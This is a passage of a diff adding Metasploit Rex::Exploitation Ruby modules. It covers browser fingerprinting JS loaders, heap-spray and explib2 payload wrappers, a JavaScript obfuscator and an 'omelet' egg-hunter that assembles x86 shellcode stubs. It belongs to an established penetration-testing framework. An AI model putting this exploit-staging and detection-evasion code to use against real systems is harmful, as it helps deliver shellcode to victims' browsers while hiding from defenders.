# os_device - A specific piece of hardware such as iPad, iPhone, etc
|
||||
# ua_name - Client name, one of the Msf::HttpClients constants
|
||||
# ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2")
|
||||
# arch - Architecture, one of the ARCH_* constants
|
||||
#
|
||||
# The following functions work on the version returned in obj.ua_version
|
||||
#
|
||||
# ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively
|
||||
# ua_ver_lt(a, b): returns true if a < b
|
||||
# ua_ver_gt(a, b): returns true if a > b
|
||||
# ua_ver_eq(a, b): returns true if a == b
|
||||
#
|
||||
def self.os(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Provides javascript functions to determine IE addon information.
|
||||
#
|
||||
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
||||
#
|
||||
def self.ie_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
||||
#
|
||||
# Provides javascript functions that work for all browsers to determine addon information
|
||||
#
|
||||
# getJavaVersion(): Returns the Java version
|
||||
# hasSilverlight(): Returns whether Silverlight is enabled or not
|
||||
#
|
||||
def self.misc_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,81 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Js
|
||||
|
||||
#
|
||||
# Provides meomry manipulative functions in JavaScript
|
||||
#
|
||||
class Memory
|
||||
|
||||
def self.mstime_malloc
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "mstime_malloc.js"))
|
||||
js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6))
|
||||
js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ buf eleId acTag }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
def self.heaplib2(custom_js='', opts={})
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js"))
|
||||
|
||||
unless custom_js.to_s.strip.empty?
|
||||
js << custom_js
|
||||
end
|
||||
|
||||
js = ::Rex::Exploitation::JSObfu.new js
|
||||
js.obfuscate
|
||||
return js
|
||||
end
|
||||
|
||||
def self.property_spray
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js"))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ sym_div_container data junk obj }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
def self.heap_spray
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heap_spray.js"))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
def self.explib2
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js"))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.obfuscate(js)
|
||||
end
|
||||
|
||||
def self.explib2_payload(payload="exec")
|
||||
case payload
|
||||
when "drop_exec"
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js"))
|
||||
else # "exec"
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js"))
|
||||
end
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.obfuscate(js)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,84 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Js
|
||||
|
||||
#
|
||||
# Provides networking functions in JavaScript
|
||||
#
|
||||
class Network
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous ajax request to the remote
|
||||
# and returns the response
|
||||
def self.ajax_download(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp oArg }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous or asynchronous ajax request to
|
||||
# the remote with the data specified.
|
||||
def self.ajax_post(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp cb path data }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
|
||||
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
|
||||
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
|
||||
def self.xhr_shim(opts={})
|
||||
return '' unless opts.fetch(:inject_xhr_shim, true)
|
||||
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ activeObjs idx }
|
||||
}
|
||||
}
|
||||
).obfuscate
|
||||
end
|
||||
js
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/text'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Js
|
||||
|
||||
#
|
||||
# Javascript utilities
|
||||
#
|
||||
class Utils
|
||||
|
||||
def self.base64
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js"))
|
||||
|
||||
opts = {
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
|
||||
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
|
||||
'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
|
||||
}
|
||||
}
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
#
|
||||
# Simple wrapper class that makes the JSObfu functionality
|
||||
# from the gem available under the Rex namespace.
|
||||
#
|
||||
class JSObfu < ::JSObfu
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,336 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
#
|
||||
# Obfuscates javascript in various ways
|
||||
#
|
||||
class ObfuscateJS
|
||||
attr_reader :opts
|
||||
|
||||
#
|
||||
# Obfuscates a javascript string.
|
||||
#
|
||||
# Options are 'Symbols', described below, and 'Strings', a boolean
|
||||
# which specifies whether strings within the javascript should be
|
||||
# mucked with (defaults to false).
|
||||
#
|
||||
# The 'Symbols' argument should have the following format:
|
||||
#
|
||||
# {
|
||||
# 'Variables' => [ 'var1', ... ],
|
||||
# 'Methods' => [ 'method1', ... ],
|
||||
# 'Namespaces' => [ 'n', ... ],
|
||||
# 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ]
|
||||
# }
|
||||
#
|
||||
# Make sure you order your methods, classes, and namespaces by most
|
||||
# specific to least specific to prevent partial substitution. For
|
||||
# instance, if you have two methods (joe and joeBob), you should place
|
||||
# joeBob before joe because it is more specific and will be globally
|
||||
# replaced before joe is replaced.
|
||||
#
|
||||
# A simple example follows:
|
||||
#
|
||||
# <code>
|
||||
# js = ObfuscateJS.new <<ENDJS
|
||||
# function say_hi() {
|
||||
# var foo = "Hello, world";
|
||||
# document.writeln(foo);
|
||||
# }
|
||||
# ENDJS
|
||||
# js.obfuscate(
|
||||
# 'Symbols' => {
|
||||
# 'Variables' => [ 'foo' ],
|
||||
# 'Methods' => [ 'say_hi' ]
|
||||
# }
|
||||
# 'Strings' => true
|
||||
# )
|
||||
# </code>
|
||||
#
|
||||
# which should generate something like the following:
|
||||
#
|
||||
# <code>
|
||||
# function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); }
|
||||
# </code>
|
||||
#
|
||||
# String obfuscation tries to deal with escaped quotes within strings but
|
||||
# won't catch things like
|
||||
# "\\"
|
||||
# so be careful.
|
||||
#
|
||||
def self.obfuscate(js, opts = {})
|
||||
ObfuscateJS.new(js).obfuscate(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Initialize an instance of the obfuscator
|
||||
#
|
||||
def initialize(js = "", opts = {})
|
||||
@js = js
|
||||
@dynsym = {}
|
||||
@opts = {
|
||||
'Symbols' => {
|
||||
'Variables'=>[],
|
||||
'Methods'=>[],
|
||||
'Namespaces'=>[],
|
||||
'Classes'=>[]
|
||||
},
|
||||
'Strings'=>false
|
||||
}
|
||||
@done = false
|
||||
update_opts(opts) if (opts.length > 0)
|
||||
end
|
||||
|
||||
def update_opts(opts)
|
||||
if (opts.nil? or opts.length < 1)
|
||||
return
|
||||
end
|
||||
if (@opts['Symbols'] && opts['Symbols'])
|
||||
['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
|
||||
if (@opts['Symbols'][k] && opts['Symbols'][k])
|
||||
opts['Symbols'][k].each { |s|
|
||||
if (not @opts['Symbols'][k].include? s)
|
||||
@opts['Symbols'][k].push(s)
|
||||
end
|
||||
}
|
||||
elsif (opts['Symbols'][k])
|
||||
@opts['Symbols'][k] = opts['Symbols'][k]
|
||||
end
|
||||
}
|
||||
elsif opts['Symbols']
|
||||
@opts['Symbols'] = opts['Symbols']
|
||||
end
|
||||
@opts['Strings'] ||= opts['Strings']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the dynamic symbol associated with the supplied symbol name
|
||||
#
|
||||
# If obfuscation has not yet been performed (i.e. obfuscate() has not been
|
||||
# called), then this method simply returns its argument
|
||||
#
|
||||
def sym(name)
|
||||
@dynsym[name] || name
|
||||
end
|
||||
|
||||
#
|
||||
# Obfuscates the javascript string passed to the constructor
|
||||
#
|
||||
def obfuscate(opts = {})
|
||||
#return @js if (@done)
|
||||
@done = true
|
||||
|
||||
update_opts(opts)
|
||||
|
||||
if (@opts['Strings'])
|
||||
obfuscate_strings()
|
||||
|
||||
# Full space randomization does not work for javascript -- despite
|
||||
# claims that space is irrelavent, newlines break things. Instead,
|
||||
# use only space (0x20) and tab (0x09).
|
||||
|
||||
#@js.gsub!(/[\x09\x20]+/) { |s|
|
||||
# len = rand(50)+2
|
||||
# set = "\x09\x20"
|
||||
# buf = ''
|
||||
# while (buf.length < len)
|
||||
# buf << set[rand(set.length)].chr
|
||||
# end
|
||||
#
|
||||
# buf
|
||||
#}
|
||||
end
|
||||
|
||||
# Remove our comments
|
||||
remove_comments
|
||||
|
||||
# Globally replace symbols
|
||||
replace_symbols(@opts['Symbols']) if @opts['Symbols']
|
||||
|
||||
return @js
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the replaced javascript string
|
||||
#
|
||||
def to_s
|
||||
@js
|
||||
end
|
||||
alias :to_str :to_s
|
||||
|
||||
def <<(str)
|
||||
@js << str
|
||||
end
|
||||
def +(str)
|
||||
@js + str
|
||||
end
|
||||
|
||||
protected
|
||||
attr_accessor :done
|
||||
|
||||
#
|
||||
# Get rid of both single-line C++ style comments and multiline C style comments.
|
||||
#
|
||||
# Note: embedded comments (e.g.: "/*/**/*/") will break this,
|
||||
# but they also break real javascript engines so I don't care.
|
||||
#
|
||||
def remove_comments
|
||||
@js.gsub!(%r{\s+//.*$}, '')
|
||||
@js.gsub!(%r{/\*.*?\*/}m, '')
|
||||
end
|
||||
|
||||
# Replace method, class, and namespace symbols found in the javascript
|
||||
# string
|
||||
def replace_symbols(symbols)
|
||||
taken = { }
|
||||
|
||||
# Generate random symbol names
|
||||
[ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype|
|
||||
next if symbols[symtype].nil?
|
||||
symbols[symtype].each { |sym|
|
||||
dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn)
|
||||
|
||||
taken[dyn] = true
|
||||
|
||||
if symtype == 'Classes'
|
||||
full_sym = sym['Namespace'] + "." + sym['Class']
|
||||
@dynsym[full_sym] = dyn
|
||||
|
||||
@js.gsub!(/#{full_sym}/) { |m|
|
||||
sym['Namespace'] + "." + dyn
|
||||
}
|
||||
else
|
||||
@dynsym[sym] = dyn
|
||||
|
||||
@js.gsub!(/#{sym}/, dyn)
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Change each string into some javascript that will generate that string
|
||||
#
|
||||
# There are a couple of caveats to using string obfuscation:
|
||||
# * it tries to deal with escaped quotes within strings but won't catch
|
||||
# things like: "\\"
|
||||
# * depending on the random choices, this can easily balloon a short
|
||||
# string up to hundreds of kilobytes if called multiple times.
|
||||
# so be careful.
|
||||
#
|
||||
def obfuscate_strings()
|
||||
@js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str|
|
||||
buf = ''
|
||||
quote = str[0,1]
|
||||
# Pull the quotes off either end
|
||||
str = str[1, str.length-2]
|
||||
case (rand(2))
|
||||
# Disable hex encoding for now. It's just too big a hassle.
|
||||
#when 0
|
||||
# # This is where we can run into trouble with generating
|
||||
# # incorrect code. If we hex encode a string twice, the second
|
||||
# # encoding will generate the first instead of the original
|
||||
# # string.
|
||||
# if str =~ /\\x/
|
||||
# # Always have to remove spaces from strings so the space
|
||||
# # randomization doesn't mess with them.
|
||||
# buf = quote + str.gsub(/ /, '\x20') + quote
|
||||
# else
|
||||
# buf = '"' + Rex::Text.to_hex(str) + '"'
|
||||
# end
|
||||
when 0
|
||||
#
|
||||
# Escape sequences when naively encoded for unescape become a
|
||||
# literal backslash instead of the intended meaning. To avoid
|
||||
# that problem, we scan the string for escapes and leave them
|
||||
# unmolested.
|
||||
#
|
||||
buf << 'unescape("'
|
||||
bytes = str.unpack("C*")
|
||||
c = 0
|
||||
while bytes[c]
|
||||
if bytes[c].chr == "\\"
|
||||
# XXX This is pretty slow.
|
||||
esc_len = parse_escape(bytes, c)
|
||||
buf << bytes[c, esc_len].map{|a| a.chr}.join
|
||||
c += esc_len
|
||||
next
|
||||
end
|
||||
buf << "%%%0.2x"%(bytes[c])
|
||||
# Break the string into smaller strings
|
||||
if bytes[c+1] and rand(10) == 0
|
||||
buf << '" + "'
|
||||
end
|
||||
c += 1
|
||||
end
|
||||
buf << '")'
|
||||
when 1
|
||||
buf = "String.fromCharCode( "
|
||||
bytes = str.unpack("C*")
|
||||
c = 0
|
||||
while bytes[c]
|
||||
if bytes[c].chr == "\\"
|
||||
case bytes[c+1].chr
|
||||
# For chars that contain their non-escaped selves, step
|
||||
# past the backslash and let the rand() below decide
|
||||
# how to represent the character.
|
||||
when '"'; c += 1
|
||||
when "'"; c += 1
|
||||
when "\\"; c += 1
|
||||
# For others, just take the hex representation out of
|
||||
# laziness.
|
||||
when "n"; buf << "0x0a"; c += 2; next
|
||||
when "t"; buf << "0x09"; c += 2; next
|
||||
# Lastly, if it's a hex, unicode, or octal escape,
|
||||
# leave it, and anything after it, alone. At some
|
||||
# point we may want to parse up to the end of the
|
||||
# escapes and encode subsequent non-escape characters.
|
||||
# Since this is the lazy way to do it, spaces after an
|
||||
# escape sequence will get away unmodified. To prevent
|
||||
# the space randomizer from hosing the string, convert
|
||||
# spaces specifically.
|
||||
else
|
||||
buf = buf[0,buf.length-1] + " )"
|
||||
buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" '
|
||||
break
|
||||
end
|
||||
end
|
||||
case (rand(3))
|
||||
when 0
|
||||
buf << " %i,"%(bytes[c])
|
||||
when 1
|
||||
buf << " 0%o,"%(bytes[c])
|
||||
when 2
|
||||
buf << " 0x%0.2x,"%(bytes[c])
|
||||
end
|
||||
c += 1
|
||||
end
|
||||
# Strip off the last comma
|
||||
buf = buf[0,buf.length-1] + " )"
|
||||
end
|
||||
buf
|
||||
}
|
||||
@js
|
||||
end
|
||||
|
||||
def parse_escape(bytes, offset)
|
||||
esc_len = 0
|
||||
if bytes[offset].chr == "\\"
|
||||
case bytes[offset+1].chr
|
||||
when "u"; esc_len = 6 # unicode \u1234
|
||||
when "x"; esc_len = 4 # hex, \x41
|
||||
when /[0-9]/ # octal, \123, \0
|
||||
oct = bytes[offset+1, 4].map{|a|a.chr}.join
|
||||
oct =~ /([0-9]+)/
|
||||
esc_len = 1 + $1.length
|
||||
else; esc_len = 2 # \" \n, etc.
|
||||
end
|
||||
end
|
||||
esc_len
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,321 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'metasm'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
|
||||
#
|
||||
# Written by corelanc0d3r <peter.ve@corelan.be>
|
||||
#
|
||||
###
|
||||
class Omelet
|
||||
|
||||
###
|
||||
#
|
||||
# Windows-based eggs-to-omelet hunters
|
||||
#
|
||||
###
|
||||
module Windows
|
||||
Alias = "win"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
|
||||
#
|
||||
# The hunter stub for win/x86.
|
||||
#
|
||||
def hunter_stub
|
||||
{
|
||||
# option hash members go here (currently unused)
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Generic interface
|
||||
#
|
||||
###
|
||||
|
||||
#
|
||||
# Creates a new hunter instance and acquires the sub-class that should
|
||||
# be used for generating the stub based on the supplied platform and
|
||||
# architecture.
|
||||
#
|
||||
def initialize(platform, arch = nil)
|
||||
Omelet.constants.each { |c|
|
||||
mod = self.class.const_get(c)
|
||||
|
||||
next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
|
||||
|
||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
||||
self.extend(mod)
|
||||
|
||||
if (arch and mod)
|
||||
mod.constants.each { |a|
|
||||
amod = mod.const_get(a)
|
||||
|
||||
next if ((!amod.kind_of?(::Module)) or
|
||||
(!amod.const_defined?('Alias')))
|
||||
|
||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
||||
amod = mod.const_get(a)
|
||||
|
||||
self.extend(amod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# This method generates an eggs-to-omelet hunter using the derived hunter stub.
|
||||
#
|
||||
def generate(payload, badchars = '', opts = {})
|
||||
|
||||
eggsize = opts[:eggsize] || 123
|
||||
eggtag = opts[:eggtag] || "00w"
|
||||
searchforward = opts[:searchforward] || true
|
||||
reset = opts[:reset]
|
||||
startreg = opts[:startreg]
|
||||
usechecksum = opts[:checksum]
|
||||
adjust = opts[:adjust] || 0
|
||||
|
||||
return nil if ((opts = hunter_stub) == nil)
|
||||
|
||||
# calculate number of eggs
|
||||
payloadlen = payload.length
|
||||
delta = payloadlen / eggsize
|
||||
delta = delta * eggsize
|
||||
nr_eggs = payloadlen / eggsize
|
||||
if delta < payloadlen
|
||||
nr_eggs = nr_eggs+1
|
||||
end
|
||||
|
||||
nr_eggs_hex = "%02x" % nr_eggs
|
||||
eggsize_hex = "%02x" % eggsize
|
||||
|
||||
hextag = ''
|
||||
eggtag.each_byte do |thischar|
|
||||
decchar = "%02x" % thischar
|
||||
hextag = decchar + hextag
|
||||
end
|
||||
hextag = hextag + "01"
|
||||
|
||||
# search forward or backward ?
|
||||
setflag = nil
|
||||
searchstub1 = nil
|
||||
searchstub2 = nil
|
||||
flipflagpre = ''
|
||||
flipflagpost = ''
|
||||
checksum = ''
|
||||
|
||||
if searchforward
|
||||
# clear direction flag
|
||||
setflag = "cld"
|
||||
searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
|
||||
searchstub2 = "inc edx"
|
||||
else
|
||||
# set the direction flag
|
||||
setflag = "std"
|
||||
searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
|
||||
searchstub2 = "dec edx"
|
||||
flipflagpre = "cld\n\tsub esi,-8"
|
||||
flipflagpost = "std"
|
||||
end
|
||||
|
||||
# will we have to adjust the destination address ?
|
||||
adjustdest = ''
|
||||
if adjust > 0
|
||||
adjustdest = "\n\tsub edi,#{adjust}"
|
||||
elsif adjust < 0
|
||||
adjustdest = "\n\tadd edi,#{adjust}"
|
||||
end
|
||||
|
||||
# prepare the stub that starts the search
|
||||
startstub = ''
|
||||
if startreg
|
||||
if startreg.downcase != 'ebp'
|
||||
startstub << "mov ebp,#{startreg}"
|
||||
end
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "mov edx,ebp"
|
||||
end
|
||||
# a register will be used as start location for the search
|
||||
startstub << "\n\t" if startstub.length > 0
|
||||
startstub << "push esp\n\tpop edi\n\tor di,0xffff"
|
||||
startstub << adjustdest
|
||||
# edx will be used, start at end of stack frame
|
||||
if not startreg
|
||||
startstub << "\n\tmov edx,edi"
|
||||
if reset
|
||||
startstub << "\n\tpush edx\n\tpop ebp"
|
||||
end
|
||||
end
|
||||
|
||||
# reset start after each egg was found ?
|
||||
# will allow to find eggs when they are out of order/sequence
|
||||
resetstart = ''
|
||||
if reset
|
||||
resetstart = "push ebp\n\tpop edx"
|
||||
end
|
||||
|
||||
#checksum code by dijital1 & corelanc0d3r
|
||||
if usechecksum
|
||||
checksum = <<EOS
|
||||
xor ecx,ecx
|
||||
xor eax,eax
|
||||
calc_chksum_loop:
|
||||
add al,byte [edx+ecx]
|
||||
inc ecx
|
||||
cmp cl, egg_size
|
||||
jnz calc_chksum_loop
|
||||
test_chksum:
|
||||
cmp al,byte [edx+ecx]
|
||||
jnz find_egg
|
||||
EOS
|
||||
end
|
||||
|
||||
# create omelet code
|
||||
omelet_hunter = <<EOS
|
||||
|
||||
nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
|
||||
egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
|
||||
hex_tag equ 0x#{hextag} ; tag
|
||||
|
||||
#{setflag} ; set/clear direction flag
|
||||
jmp start
|
||||
|
||||
; routine to calculate the target location
|
||||
; for writing recombined shellcode (omelet)
|
||||
; I'll use EDI as target location
|
||||
; First, I'll make EDI point to end of stack
|
||||
; and I'll put the number of shellcode eggs in eax
|
||||
get_target_loc:
|
||||
#{startstub} ; use edx as start location for the search
|
||||
xor eax,eax ; zero eax
|
||||
mov al,nr_eggs ; put number of eggs in eax
|
||||
|
||||
calc_target_loc:
|
||||
xor esi,esi ; use esi as counter to step back
|
||||
mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
|
||||
|
||||
get_target_loc_loop: ; start loop
|
||||
dec edi ; step back
|
||||
inc esi ; and update ESI counter
|
||||
cmp si,-1 ; continue to step back until ESI = -1
|
||||
jnz get_target_loc_loop
|
||||
dec eax ; loop again if we did not take all pieces
|
||||
; into account yet
|
||||
jnz calc_target_loc
|
||||
|
||||
; edi now contains target location
|
||||
; for recombined shellcode
|
||||
xor ebx,ebx ; put loop counter in ebx
|
||||
mov bl,nr_eggs+1
|
||||
ret
|
||||
|
||||
start:
|
||||
call get_target_loc ; jump to routine which will calculate shellcode dst address
|
||||
|
||||
; start looking for eggs, using edx as basepointer
|
||||
jmp search_next_address
|
||||
|
||||
find_egg:
|
||||
#{searchstub1} ; based on search direction
|
||||
|
||||
search_next_address:
|
||||
#{searchstub2} ; based on search direction
|
||||
push edx ; save edx
|
||||
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
||||
pop eax ; set eax to 0x02
|
||||
int 0x2e
|
||||
cmp al,0x5 ; address readable ?
|
||||
pop edx ; restore edx
|
||||
je search_next_address ; if addressss is not readable, go to next address
|
||||
|
||||
mov eax,hex_tag ; if address is readable, prepare tag in eax
|
||||
add eax,ebx ; add offset (ebx contains egg counter, remember ?)
|
||||
xchg edi,edx ; switch edx/edi
|
||||
scasd ; edi points to the tag ?
|
||||
xchg edi,edx ; switch edx/edi back
|
||||
jnz find_egg ; if tag was not found, go to next address
|
||||
;found the tag at edx
|
||||
|
||||
;do we need to verify checksum ? (prevents finding corrupted eggs)
|
||||
#{checksum}
|
||||
|
||||
copy_egg:
|
||||
; ecx must first be set to egg_size (used by rep instruction) and esi as source
|
||||
mov esi,edx ; set ESI = EDX (needed for rep instruction)
|
||||
xor ecx,ecx
|
||||
mov cl,egg_size ; set copy counter
|
||||
#{flipflagpre} ; flip destination flag if necessary
|
||||
rep movsb ; copy egg from ESI to EDI
|
||||
#{flipflagpost} ; flip destination flag again if necessary
|
||||
dec ebx ; decrement egg
|
||||
#{resetstart} ; reset start location if necessary
|
||||
cmp bl,1 ; found all eggs ?
|
||||
jnz find_egg ; no = look for next egg
|
||||
; done - all eggs have been found and copied
|
||||
|
||||
done:
|
||||
call get_target_loc ; re-calculate location where recombined shellcode is placed
|
||||
cld
|
||||
jmp edi ; and jump to it :)
|
||||
EOS
|
||||
|
||||
the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
|
||||
|
||||
# create the eggs array
|
||||
total_size = eggsize * nr_eggs
|
||||
padlen = total_size - payloadlen
|
||||
payloadpadding = "A" * padlen
|
||||
|
||||
fullcode = payload + payloadpadding
|
||||
eggcnt = nr_eggs + 2
|
||||
startcode = 0
|
||||
|
||||
eggs = []
|
||||
while eggcnt > 2 do
|
||||
egg_prep = eggcnt.chr + eggtag
|
||||
this_egg = fullcode[startcode, eggsize]
|
||||
if usechecksum
|
||||
cksum = 0
|
||||
this_egg.each_byte { |b|
|
||||
cksum += b
|
||||
}
|
||||
this_egg << [cksum & 0xff].pack('C')
|
||||
end
|
||||
|
||||
this_egg = egg_prep + this_egg
|
||||
eggs << this_egg
|
||||
|
||||
eggcnt -= 1
|
||||
startcode += eggsize
|
||||
end
|
||||
|
||||
return [ the_omelet, eggs ]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Stub method that is meant to be overridden. It returns the raw stub that
|
||||
# should be used as the omelet maker (combine the eggs).
|
||||
#
|
||||
def hunter_stub
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,819 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rexml/rexml'
|
||||
require 'rexml/source'
|
||||
require 'rexml/document'
|
||||
require 'rexml/parsers/treeparser'
|
||||
require 'rex/proto/http'
|
||||
require 'uri'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module OpcodeDb
|
||||
|
||||
module OpcodeResult # :nodoc:
|
||||
def initialize(hash)
|
||||
@hash = hash
|
||||
end
|
||||
attr_reader :hash
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# A cachable entry.
|
||||
#
|
||||
###
|
||||
module Cachable
|
||||
|
||||
def create(hash) # :nodoc:
|
||||
@Cache = {} unless (@Cache)
|
||||
if (hash_key(hash) and @Cache[hash_key(hash)])
|
||||
@Cache[hash_key(hash)]
|
||||
else
|
||||
@Cache[hash_key(hash)] = self.new(hash)
|
||||
end
|
||||
end
|
||||
|
||||
